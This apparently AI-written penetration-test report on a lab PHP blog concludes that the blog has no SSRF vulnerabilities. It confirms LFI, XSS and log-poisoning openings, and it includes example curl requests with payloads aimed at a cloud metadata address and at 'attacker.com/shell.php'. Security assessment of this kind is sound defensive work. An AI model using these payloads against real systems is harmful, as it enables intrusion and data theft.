# SSRF Analysis Report

## 1. Executive Summary
- **Analysis Status:** Complete
- **Key Outcome:** No Server-Side Request Forgery (SSRF) vulnerabilities were identified in the Encoder64 Blog application. The application does not contain any code paths where user-controlled input influences outbound HTTP requests made by the server.
- **Purpose of this Document:** This report provides comprehensive documentation that the application's architecture does not support SSRF exploitation vectors. All potential request-making endpoints were systematically analyzed and confirmed to operate solely on local file operations without external network communication capabilities.

## 2. Dominant Vulnerability Patterns

### Pattern 1: No HTTP Client Usage with User Input
- **Description:** The application does not use any HTTP client libraries or functions (curl, file_get_contents with URLs, fsockopen, etc.) with user-controlled input. The only network-facing functionality is serving HTTP responses, not making outbound requests.
- **Implication:** There is no attack surface for SSRF exploitation as the server does not act as an HTTP client.
- **Representative Findings:** All analyzed endpoints confirmed to use local file operations only.

### Pattern 2: PHP Configuration Protection Against URL Inclusion
- **Description:** The PHP configuration includes `allow_url_include = Off`, which prevents the `include()` and `require()` functions from accessing URL schemes (http://, https://, ftp://, etc.).
- **Implication:** Even though the application has a Local File Inclusion (LFI) vulnerability in post.php, this cannot be leveraged for SSRF attacks because URL wrappers are disabled at the PHP configuration level.
- **Representative Finding:** post.php include() function is protected against URL-based inclusion.

### Pattern 3: Stateless Architecture with No External Integrations
- **Description:** The application follows a completely stateless architecture with no authentication, no webhooks, no OAuth callbacks, no external API integrations, and no third-party service communication.
- **Implication:** There are no integration points that could potentially be abused for SSRF attacks.
- **Representative Findings:** No webhook endpoints, no OAuth discovery, no external data import features identified.

## 3. Strategic Intelligence for Exploitation

### Application Architecture
- **HTTP Client Library:** NONE - The application does not use any HTTP client libraries
- **Request Architecture:** The application only receives HTTP requests and serves responses; it does not initiate outbound HTTP requests
- **File Operations:** Uses `file_get_contents()` exclusively with hardcoded local filenames (posts.json)
- **Include Mechanism:** Uses `include()` for dynamic file inclusion, but protected by `allow_url_include = Off`

### Internal Services
- **Service Architecture:** Single-service monolithic Docker container
- **No Internal APIs:** No microservices, no internal service communication
- **Network Boundaries:** Container operates in isolation with no service-to-service communication

### PHP Configuration
```ini
allow_url_fopen = On         # Allows file_get_contents() to access URLs (but not used with user input)
allow_url_include = Off      # Prevents include()/require() from accessing URLs (CRITICAL PROTECTION)
disable_functions = (none)   # All functions available
open_basedir = (none)        # No filesystem restrictions
```

### Technology Stack
- **Language:** PHP 7.4.33
- **Web Server:** Apache 2.4.54
- **Architecture:** Flat-file based blog (no database)
- **External Dependencies:** Bootstrap CSS/JS from CDN (no application-level HTTP requests)

## 4. Secure by Design: Validated Components

The following analysis confirms that all potential SSRF attack surfaces were systematically examined and found to be secure or non-existent:

| Component/Flow | Endpoint/File Location | Defense Mechanism Implemented | Verdict |
|---|---|---|---|
| Blog Listing Pagination | `/index.php` (line 10) | User input cast to integer, never reaches network functions | SAFE |
| Blog Post Viewer | `/post.php` (lines 4-11) | `allow_url_include = Off` prevents URL-based inclusion despite LFI vulnerability | SAFE (No SSRF) |
| Contact Form Processing | `/contact.php` (lines 7-33) | Form data validation only, no external transmission or HTTP requests | SAFE |
| Static About Page | `/about.php` | No user input, static HTML content only | SAFE |
| Blog Metadata Loading | `/index.php` (line 3) | `file_get_contents('posts.json')` uses hardcoded filename, no user input | SAFE |
| Post Content Files | `/posts/*.php` | Included via post.php, but no network operations within post files | SAFE |

## 5. Comprehensive SSRF Sink Analysis

### 5.1 HTTP Client Functions - NOT FOUND

**Searched Functions:**
- `curl_init()`, `curl_exec()`, `curl_setopt()` - **NOT FOUND** in application code
- `file_get_contents()` with URLs - **NOT FOUND** with user input
- `fopen()` with URL wrappers - **NOT FOUND** with user input
- `fsockopen()`, `pfsockopen()` - **NOT FOUND**
- `stream_context_create()` - **NOT FOUND**
- `stream_socket_client()` - **NOT FOUND**

**Analysis:**
- **file_get_contents() Usage Found:** `/app/website/index.php` line 3
  - **Code:** `$json_data = file_get_contents('posts.json');`
  - **Input Source:** Hardcoded string literal 'posts.json'
  - **User Input Influence:** NONE
  - **SSRF Risk:** NONE

**Verdict:** No HTTP client functions accept user-controlled input.

### 5.2 File Inclusion Functions - PROTECTED

**Analyzed Function:**
- `include()` in `/app/website/post.php` line 11

**Complete Data Flow:**
```
USER INPUT: $_GET['id'] 
    ↓
Line 4: $post_id = $_GET['id'];
    ↓
Line 7: $post_id = str_replace(['../', './', '..\\', '.\\'], '', $post_id);
    ↓
Line 8: $file_to_include = $posts_path . $post_id;
    ↓
Line 11: include($file_to_include);
```

**PHP Configuration Protection:**
- **Setting:** `allow_url_include = Off` (confirmed from reconnaissance)
- **Impact:** Prevents `include()` and `require()` from accessing URL schemes (http://, https://, ftp://, etc.)
- **Note:** This setting is separate from `allow_url_fopen`, which only affects functions like `file_get_contents()`, NOT `include()`

**SSRF Attack Attempts Would Fail:**
```
GET /post.php?id=http://internal-service/api           → FAILS (stream error)
GET /post.php?id=https://169.254.169.254/latest/meta-data/ → FAILS (stream error)
GET /post.php?id=ftp://attacker.com/payload.php        → FAILS (stream error)
```

**Verdict:** 
- **Local File Inclusion (LFI) Vulnerability:** YES - Can read local files like /FLAG.php
- **SSRF Vulnerability:** NO - Cannot make outbound HTTP requests due to PHP configuration

### 5.3 Redirect & Location Headers - NOT FOUND

**Searched Patterns:**
- `header("Location: ")` with user input - **NOT FOUND**
- "return URL" or "next" parameters - **NOT FOUND**
- Redirect functionality - **NOT FOUND**

**Verdict:** No redirect-based SSRF vectors exist.

### 5.4 XML/Image/Media Processors - NOT FOUND

**Searched Functions:**
- `simplexml_load_file()`, `simplexml_load_string()` - **NOT FOUND**
- `DOMDocument::load()` - **NOT FOUND**
- `getimagesize()`, `imagecreatefrom*()` - **NOT FOUND**
- `exif_read_data()` - **NOT FOUND**

**Verdict:** No XML External Entity (XXE) or image processing SSRF vectors exist.

### 5.5 Webhook/OAuth/Link Preview Features - NOT FOUND

**Searched Features:**
- Webhook testing endpoints - **NOT FOUND**
- OAuth/OIDC discovery endpoints - **NOT FOUND** (no authentication system exists)
- Link unfurling/preview functionality - **NOT FOUND**
- External API callback URLs - **NOT FOUND**

**Verdict:** No webhook or OAuth-based SSRF vectors exist.

### 5.6 Raw Sockets & Network Connections - NOT FOUND

**Searched Functions:**
- `socket_create()`, `socket_connect()` - **NOT FOUND**
- `stream_socket_client()` - **NOT FOUND**

**Verdict:** No raw socket SSRF vectors exist.

### 5.7 Data Import/Package Installation - NOT FOUND

**Searched Features:**
- "Import from URL" functionality - **NOT FOUND**
- Plugin/theme installation from URLs - **NOT FOUND**
- Package manager integration - **NOT FOUND**

**Verdict:** No data import SSRF vectors exist.

## 6. User Input Flow Analysis

All user input vectors were traced to confirm none reach network-making functions:

### Input Vector 1: `$_GET['page']` (Pagination)
- **Location:** `/app/website/index.php` line 10
- **Data Flow:** `$page = isset($_GET['page']) ? (int)$_GET['page'] : 1;`
- **Sink:** Used in array slicing logic for pagination
- **Network Functions Reached:** NONE
- **SSRF Risk:** NONE

### Input Vector 2: `$_GET['id']` (Post Filename)
- **Location:** `/app/website/post.php` line 4
- **Data Flow:** Input → string replacement → `include()`
- **Sink:** `include($file_to_include)` on line 11
- **Protection:** `allow_url_include = Off` prevents URL access
- **Network Functions Reached:** NONE (file inclusion only)
- **SSRF Risk:** NONE

### Input Vector 3: `$_POST['name']`, `$_POST['email']`, `$_POST['message']`
- **Location:** `/app/website/contact.php` lines 12, 19, 26
- **Data Flow:** Input → trim() → validation → display only
- **Sink:** Echoed back to user in HTML (XSS vulnerability, not SSRF)
- **External Transmission:** NONE (no email sending, no API calls, no webhooks)
- **Network Functions Reached:** NONE
- **SSRF Risk:** NONE

### Input Vector 4: `$_SERVER['PHP_SELF']`
- **Location:** `/app/website/contact.php` line 63
- **Data Flow:** `htmlspecialchars($_SERVER["PHP_SELF"])` for form action
- **Sink:** HTML output only
- **Network Functions Reached:** NONE
- **SSRF Risk:** NONE

## 7. False Positive Analysis

### Why post.php include() is NOT SSRF

The Local File Inclusion vulnerability in `post.php` might initially appear to be an SSRF candidate, but it is definitively NOT exploitable for SSRF because:

1. **PHP Configuration Protection:**
   - `allow_url_include = Off` explicitly disables URL wrappers in include/require functions
   - This setting is enforced at the PHP engine level and cannot be bypassed through application-level exploits

2. **Attempted SSRF Exploits Fail:**
   ```bash
   # All of these would fail with "failed to open stream: no suitable wrapper could be found"
   curl "http://localhost:34461/post.php?id=http://internal-service/"
   curl "http://localhost:34461/post.php?id=https://169.254.169.254/latest/meta-data/"
   curl "http://localhost:34461/post.php?id=ftp://attacker.com/shell.php"
   ```

3. **Vulnerability Classification:**
   - **Local File Inclusion (LFI):** YES - Can read local files
   - **Server-Side Request Forgery (SSRF):** NO - Cannot make HTTP requests

4. **Attack Surface Boundary:**
   - LFI allows reading files on the local filesystem
   - SSRF would allow making requests to internal/external network resources
   - These are distinct vulnerability classes with different exploitation techniques

## 8. Defense-in-Depth Recommendations

While no SSRF vulnerabilities currently exist, the following hardening measures are recommended for defense-in-depth:

1. **Maintain Current PHP Configuration:**
   - Keep `allow_url_include = Off` in php.ini (currently configured correctly)
   - Consider setting `allow_url_fopen = Off` if URL access via `file_get_contents()` is not needed

2. **Implement Filesystem Restrictions:**
   - Configure `open_basedir = /var/www/html` to restrict file access to web root only
   - This would limit LFI impact while preventing potential future SSRF via file:// wrappers

3. **If Future Features Require HTTP Requests:**
   - Implement strict URL allowlist validation (only allow known-safe domains)
   - Deny private IP ranges: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8, 169.254.0.0/16
   - Deny localhost and loopback addresses
   - Use `gethostbyname()` to resolve and validate destination IPs before making requests
   - Implement timeout limits for external requests
   - Disable redirect following or limit to same-domain redirects

4. **Network Segmentation:**
   - Deploy application in isolated network segment with egress filtering
   - Block outbound connections to internal networks and cloud metadata endpoints at firewall level

## 9. Conclusion

**SSRF Attack Surface: NON-EXISTENT**

After comprehensive analysis of all network-accessible endpoints, user input flows, HTTP client usage, file operations, and external integrations, I confirm that the Encoder64 Blog application does **NOT contain Server-Side Request Forgery vulnerabilities**.

**Key Reasons:**
1. No HTTP client functions are invoked with user-controlled input
2. The only `file_get_contents()` usage involves hardcoded local filenames
3. The `include()` function is protected by `allow_url_include = Off` PHP configuration
4. No webhook, OAuth, redirect, or external integration features exist
5. Contact form does not trigger external requests (no email sending, no API calls)
6. No image/media processing with remote URL capabilities
7. Completely stateless architecture with no external service dependencies

**Testing Recommendation:**
No SSRF exploitation testing is required for this application. Penetration testing resources should be allocated to the confirmed vulnerabilities:
- Local File Inclusion (LFI) in post.php
- Reflected Cross-Site Scripting (XSS) in contact.php
- Log poisoning potential via world-writable Apache logs

---

**Analysis Completed:** All potential SSRF sinks systematically analyzed and confirmed secure or non-existent.
**Exploitation Queue Status:** Empty (no SSRF vulnerabilities to queue)
